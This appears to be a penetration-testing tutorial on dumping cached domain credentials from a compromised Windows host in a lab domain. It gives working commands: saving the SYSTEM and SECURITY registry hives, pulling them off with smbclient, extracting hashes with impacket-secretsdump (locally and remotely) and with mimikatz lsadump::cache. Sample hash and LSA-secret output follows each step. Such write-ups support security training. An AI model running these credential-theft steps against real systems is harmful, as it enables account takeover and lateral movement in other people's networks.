

Dumping Cached Domain credentials

Intro

One of the things we have talked about and repeated several times is that when we have authenticated with a local user on the system on a Windows machine, we are checking our credentials against a database called **SAM**. However, when we authenticate with a domain user, we saw that we are checking our credentials against a database called **NTDS** and it is on the **Domain Controller**.

So, Knowing this, let's put us on the scenario and thing why this is happening:

If we take our computer out of the domain controller network and we try to authenticate with a domain user credentials **we will see that we can successfully authenticate in the machine** even without staying at the domain or in the

Why could this be possible? Well, this has to do with what we will see in this section, which are **the credentials that are cached locally** when we authenticate for the first time.

Dumping Cached Domain credentials

All users who have been authenticated on a windows machine, have generated a local entrance where their credentials have been cached. Once a local user has been compromised, those credentials of the domain users must be cached on a part of the memory of the OS. And the objective here is see if we can get or **dump those domain users credentials** that are cached on the machine that we have already compromised.

There are many ways to do that. The first that we will use is dumping the information on the login register of that compromised machine with the commands:

reg save hklm\system system.save
reg save hklm\security security.save

```
C:\Users\employer1\Desktop> reg save hklm\system system.save
The operation completed successfully.

C:\Users\employer1\Desktop> reg save hklm\security security.save
The operation completed successfully.

C:\Users\employer1\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 5459-CF7B

Directory of C:\Users\employer1\Desktop

03/02/2025  04:51 PM  <DIR>          .
03/02/2025  04:51 PM  <DIR>          ..
12/10/2024  06:03 PM  <DIR>          0 Pentest Report from Employee 1.txt
03/02/2025  04:51 PM             49,152 security.save
03/02/2025  04:51 PM      13,705,216 system.save
               3 File(s)      13,754,368 bytes
               2 Dir(s)  41,688,973,312 bytes free
```

→ System logs

Then we can transfer those files to our attacker machine using the method of our preference. Here I used **smbclient**

```
smb: \Users\employer1\Desktop> ls
.                DR           0 Sun Mar  2 15:51:48 2025
..               DR           0 Sun Mar  2 15:51:48 2025
desktop.ini      AHS          282 Tue Dec 10 16:58:45 2024
Pentest Report from Employee 1.txt  A           0 Tue Dec 10 17:03:43 2024
security.save    A          49152 Sun Mar  2 15:51:48 2025
system.save      A     13705216 Sun Mar  2 15:51:05 2025

15644159 blocks of size 4096. 10177845 blocks available
smb: \Users\employer1\Desktop> get security.save
getting file \Users\employer1\Desktop\security.save of size 49152 as security.save (11999.7 KiloBytes/sec) (average 12000.0 KiloBytes/sec)
smb: \Users\employer1\Desktop> get system.save
getting file \Users\employer1\Desktop\system.save of size 13705216 as system.save (39715.1 KiloBytes/sec) (average 39390.0 KiloBytes/sec)
```

→ The files

And finally we just have to use an **impacket** module against to extract the information using the command:

impacket-secretsdump -security security.save -system system.save LOCAL

And the result is the information of the domain users that *are cached on the machine*

```
Impactet v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootkey: 0x53c4e01650712780d6196554ab32bf
[*] Dumping cached domain login information (domain/username:hash)
CORP.LOCAL/employer1:$DCC2$102400employer1f33d1805648d5c388a5a4d393a69c512: (2025-02-23 22:35:02)
CORP.LOCAL/Administrator:$DCC2$102400Administrator9908c1164ee6f608994702b6d5df2c42d: (2024-12-16 22:49:50)
CORP.LOCAL/judie.lonee:$DCC2$102400judie.lonee0d461f20e10395168922770975800b4ed: (2025-02-25 22:13:06)
CORP.LOCAL/klara.alanna:$DCC2$102400klara.alanna1c70900a124689493092fbb9af7f980b: (2025-02-25 23:04:08)
[*] Dumping LSA Secrets
[*] SMACHINE_ACC
SMACHINE_ACC:plain_password_hex:1a7d037902ee1f9b7d3ac35d801f2f0830dc4c08082a4e73284fbd3ab13d6120c21e13c75f5dd377c080c080b0b3208503207eecc15d8f07508055983c95fb28824054d87b0df8fec46b94faacd09f81d9539b7c0737d53e6d5e5cebd4b4007baec0
de148577f6362ee0b07b3dc5e51638e8e21686102695df1614a2454550b1343d27d5c0f83aee6a1ad059c9f4e56fbc001a3bdcab0ff72e5feccc086f1bc8850d6d108461a1bf167ca717050964c6c115503105209b0f81759174620dcfe0d73ef3cda
98c96c7412b6d75df7028686539895b3dfe3f0
SMACHINE_ACC: aad3b435b51404eeaad3b435b51404ee:3df685b7970adfc0048f828a65f9cfa
[*] DRAPI_SYSTEM
dpapi_machinekey:822845263a6a68e05cf38fb8643fa298d6f806
dpapi_userkey:04fb9eaffa208d9c27aee572175e93ab0c1713e5
[*] NLKM
0000 18 21 51 AD 6D AD 03 8D 89 40 5A 3B 08 B3 37 1B .IQ.m...02;..7.
0010 1F 0D 3A 07 81 C1 5F 88 86 98 14 4D A5 7A 5F FA .:.....M.z..
0020 73 F5 7F 59 2A 3F 00 60 44 E7 89 F2 26 AC BB B4 s..Y.Y?..D...0...
0030 02 FB 4C 46 45 90 46 C7 FB CB 83 7C 22 7A FF 8F ..L.E.F.....7z...
NLKM:182151d6d6d038d8945a30b0b371b1f0d3a0781c15f88b698144da57a5ffa73f57f592a3f00604e789f226acbb042fb4ca6459846c7f0cb837c227aff8f
[*] Cleaning up ...
```

→ Cached Credentials On The Machine!!

Other way is using other command of **impacket-secretsdump** but using the credentials of the high privilege user on that machine that we have already compromised:

impacket-secretsdump username:password@10.10.10.10

An the result is this:

```
Impactet v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootkey: 0x53c4e01650712780d6196554ab32bf
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b71c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b71c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b71c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:07e298b6d0f503c7f610d21228dc79a8:::
Alex15000:aad3b435b51404eeaad3b435b51404ee:79210901cd0f79994145c408f14305f5c1:
[*] Dumping cached domain login information (domain/username:hash)
CORP.LOCAL/employer1:$DCC2$102400employer1f33d1805648d5c388a5a4d393a69c512: (2025-02-23 22:35:02)
CORP.LOCAL/Administrator:$DCC2$102400Administrator9908c1164ee6f608994702b6d5df2c42d: (2024-12-16 22:49:50)
CORP.LOCAL/judie.lonee:$DCC2$102400judie.lonee0d461f20e10395168922770975800b4ed: (2025-02-25 22:13:06)
CORP.LOCAL/klara.alanna:$DCC2$102400klara.alanna1c70900a124689493092fbb9af7f980b: (2025-02-25 23:04:08)
[*] Dumping LSA Secrets
[*] SMACHINE_ACC
CORP.WS01:aes128-cts-hmac-sha1-96:198922d63bb6948a4e382bdc13dceda8f6dd41885c799f05a05874eb0ad2dccc
CORP.WS01:aes128-cts-hmac-sha1-96:c763c5b2668ad7cbe1070d72a7ace0
CORP.WS01:0ae-cbc-md5:16d9a90bd243160
CORP.WS01:plain_password_hex:1a7d037902ee1f9b7d3ac35d801f2f0830dc4c08082a4e73284fbd3ab13d6120c21e13c75f5dd377c080c080b0b3208503207eecc15d8f07508055983c95fb28824054d87b0df8fec46b94faacd09f81d9539b7c0737d53e6d5e5cebd4b4007baec0
de148577f6362ee0b07b3dc5e51638e8e21686102695df1614a2454550b1343d27d5c0f83aee6a1ad059c9f4e56fbc001a3bdcab0ff72e5feccc086f1bc8850d6d108461a1bf167ca717050964c6c115503105209b0f81759174620dcfe0d73ef3cda9
98c96c7412b6d75df7028686539895b3dfe3f0
CORP.WS01:aad3b435b51404eeaad3b435b51404ee:3df685b7970adfc0048f828a65f9cfa:::
[*] DRAPI_SYSTEM
dpapi_machinekey:822845263a6a68e05cf38fb8643fa298d6f806
dpapi_userkey:04fb9eaffa208d9c27aee572175e93ab0c1713e5
[*] NLKM
0000 18 21 51 AD 6D AD 03 8D 89 40 5A 3B 08 B3 37 1B .IQ.m...02;..7.
0010 1F 0D 3A 07 81 C1 5F 88 86 98 14 4D A5 7A 5F FA .:.....M.z..
0020 73 F5 7F 59 2A 3F 00 60 44 E7 89 F2 26 AC BB B4 s..Y.Y?..D...0...
0030 02 FB 4C 46 45 90 46 C7 FB CB 83 7C 22 7A FF 8F ..L.E.F.....7z...
NLKM:182151d6d6d038d8945a30b0b371b1f0d3a0781c15f88b698144da57a5ffa73f57f592a3f00604e789f226acbb042fb4ca6459846c7f0cb837c227aff8f
[*] Cleaning up ...
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
```

→ Domain Cached Credential On The Local Machine

In other hand if we have a connection this the victime machine and we have option of use **Mimikatz** with the command:

lsadump::cache

With the result:

```
lsadump::cache
minikatz # Domain : WS01
SysKey : 533c4e81658712788d61965944ab32bf

Local name : WS01 ( 5-1-5-21-272478752-1114265275-3187636338 )
Domain name : CORP ( 5-1-5-21-3525594078-1931719227-2786532380 )
Domain FQDN : corp.local

Policy subsystem is : 1.18
LSA Key(s) : 1, default: [c892f797-6553-df8e-df02-44a8f56e53bd]
[00] [c892f797-6553-df8e-df02-44a8f56e53bd] 018c877f9d524c8d9036baf6479d768574b6f5df8f8dc2c697f98005a2c7ba9bb

+ Iteration is set to default (10240)

[NL$1 - 3/4/2025 10:47:29 PM]
RID : 0000044f (1103)
User : CORP\employer1
MsCacheV2 : f83d18b344ed5c4388a54d393a69c512

[NL$2 - 12/16/2024 6:48:38 PM]
RID : 000001fa (500)
User : CORP\Administrator
MsCacheV2 : 5906c17d44ef8d0e94762b6d5df2c42d

[NL$3 - 2/25/2025 6:13:06 PM]
RID : 000005c1 (2729)
User : CORP\judie.lonee
MsCacheV2 : d661f20e10395168922270975800b4ed

[NL$4 - 2/25/2025 7:04:08 PM]
RID : 000006c8 (2736)
User : CORP\klara.alanna
MsCacheV2 : 1c70908a124689493092fbb9af77f98bb
```

→ Cached Crednetials